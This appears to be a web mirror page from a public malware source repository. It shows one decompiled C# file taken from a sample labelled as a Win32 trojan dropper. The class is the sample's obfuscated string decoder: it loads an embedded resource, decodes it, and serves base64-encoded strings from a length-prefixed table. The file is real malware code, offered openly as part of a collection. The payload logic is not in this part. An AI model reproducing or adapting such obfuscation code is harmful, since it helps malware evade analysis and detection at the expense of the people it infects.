mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
120 lines
3.3 KiB
C#
120 lines
3.3 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: .
|
|||
|
// Assembly: AudioHD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: A79492AA-5FAA-4ED2-ACC6-3D90AD665D99
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.Win32.Sysn.awyx-36fae8d04bf5f7d873dd5aa10ad92403f80b9af8b6ef91319e70ea2c9c043024.exe
|
|||
|
|
|||
|
using \u0001;
|
|||
|
using System;
|
|||
|
using System.Collections;
|
|||
|
using System.IO;
|
|||
|
using System.Reflection;
|
|||
|
using System.Runtime.InteropServices;
|
|||
|
using System.Text;
|
|||
|
|
|||
|
namespace \u0001
|
|||
|
{
|
|||
|
internal sealed class \u0004
|
|||
|
{
|
|||
|
[NonSerialized]
|
|||
|
internal static \u0002 \u0001;
|
|||
|
private static string \u0001;
|
|||
|
private static string \u0002;
|
|||
|
private static byte[] \u0001;
|
|||
|
private static Hashtable \u0001;
|
|||
|
private static bool \u0001;
|
|||
|
private static int \u0001;
|
|||
|
|
|||
|
public static string \u000F([In] int obj0)
|
|||
|
{
|
|||
|
obj0 -= \u0004.\u0001;
|
|||
|
if (\u0004.\u0001)
|
|||
|
{
|
|||
|
string str = (string) \u0004.\u0001[(object) obj0];
|
|||
|
if (str != null)
|
|||
|
return str;
|
|||
|
}
|
|||
|
int num1 = obj0;
|
|||
|
byte[] numArray1 = \u0004.\u0001;
|
|||
|
int index1 = num1;
|
|||
|
int index2 = index1 + 1;
|
|||
|
int num2 = (int) numArray1[index1];
|
|||
|
int count;
|
|||
|
if ((num2 & 128) == 0)
|
|||
|
{
|
|||
|
count = num2;
|
|||
|
if (count == 0)
|
|||
|
return string.Empty;
|
|||
|
}
|
|||
|
else if ((num2 & 64) == 0)
|
|||
|
{
|
|||
|
count = ((num2 & 63) << 8) + (int) \u0004.\u0001[index2++];
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
int num3 = (num2 & 31) << 24;
|
|||
|
byte[] numArray2 = \u0004.\u0001;
|
|||
|
int index3 = index2;
|
|||
|
int num4 = index3 + 1;
|
|||
|
int num5 = (int) numArray2[index3] << 16;
|
|||
|
int num6 = num3 + num5;
|
|||
|
byte[] numArray3 = \u0004.\u0001;
|
|||
|
int index4 = num4;
|
|||
|
int num7 = index4 + 1;
|
|||
|
int num8 = (int) numArray3[index4] << 8;
|
|||
|
int num9 = num6 + num8;
|
|||
|
byte[] numArray4 = \u0004.\u0001;
|
|||
|
int index5 = num7;
|
|||
|
index2 = index5 + 1;
|
|||
|
int num10 = (int) numArray4[index5];
|
|||
|
count = num9 + num10;
|
|||
|
}
|
|||
|
try
|
|||
|
{
|
|||
|
byte[] bytes = Convert.FromBase64String(Encoding.UTF8.GetString(\u0004.\u0001, index2, count));
|
|||
|
string str = string.Intern(Encoding.UTF8.GetString(bytes, 0, bytes.Length));
|
|||
|
if (\u0004.\u0001)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
\u0004.\u0001.Add((object) obj0, (object) str);
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
}
|
|||
|
}
|
|||
|
return str;
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
return (string) null;
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
static \u0004()
|
|||
|
{
|
|||
|
\u0003.\u000F();
|
|||
|
\u0004.\u0001 = "1";
|
|||
|
\u0004.\u0002 = "191";
|
|||
|
\u0004.\u0001 = (byte[]) null;
|
|||
|
\u0004.\u0001 = (Hashtable) null;
|
|||
|
\u0004.\u0001 = false;
|
|||
|
\u0004.\u0001 = 0;
|
|||
|
if (\u0004.\u0001 == "1")
|
|||
|
{
|
|||
|
\u0004.\u0001 = true;
|
|||
|
\u0004.\u0001 = new Hashtable();
|
|||
|
}
|
|||
|
\u0004.\u0001 = Convert.ToInt32(\u0004.\u0002);
|
|||
|
using (Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream("{a79492aa-5faa-4ed2-acc6-3d90ad665d99}"))
|
|||
|
{
|
|||
|
int int32 = Convert.ToInt32(manifestResourceStream.Length);
|
|||
|
byte[] buffer = new byte[int32];
|
|||
|
manifestResourceStream.Read(buffer, 0, int32);
|
|||
|
\u0004.\u0001 = \u0007.\u000F(buffer);
|
|||
|
manifestResourceStream.Close();
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|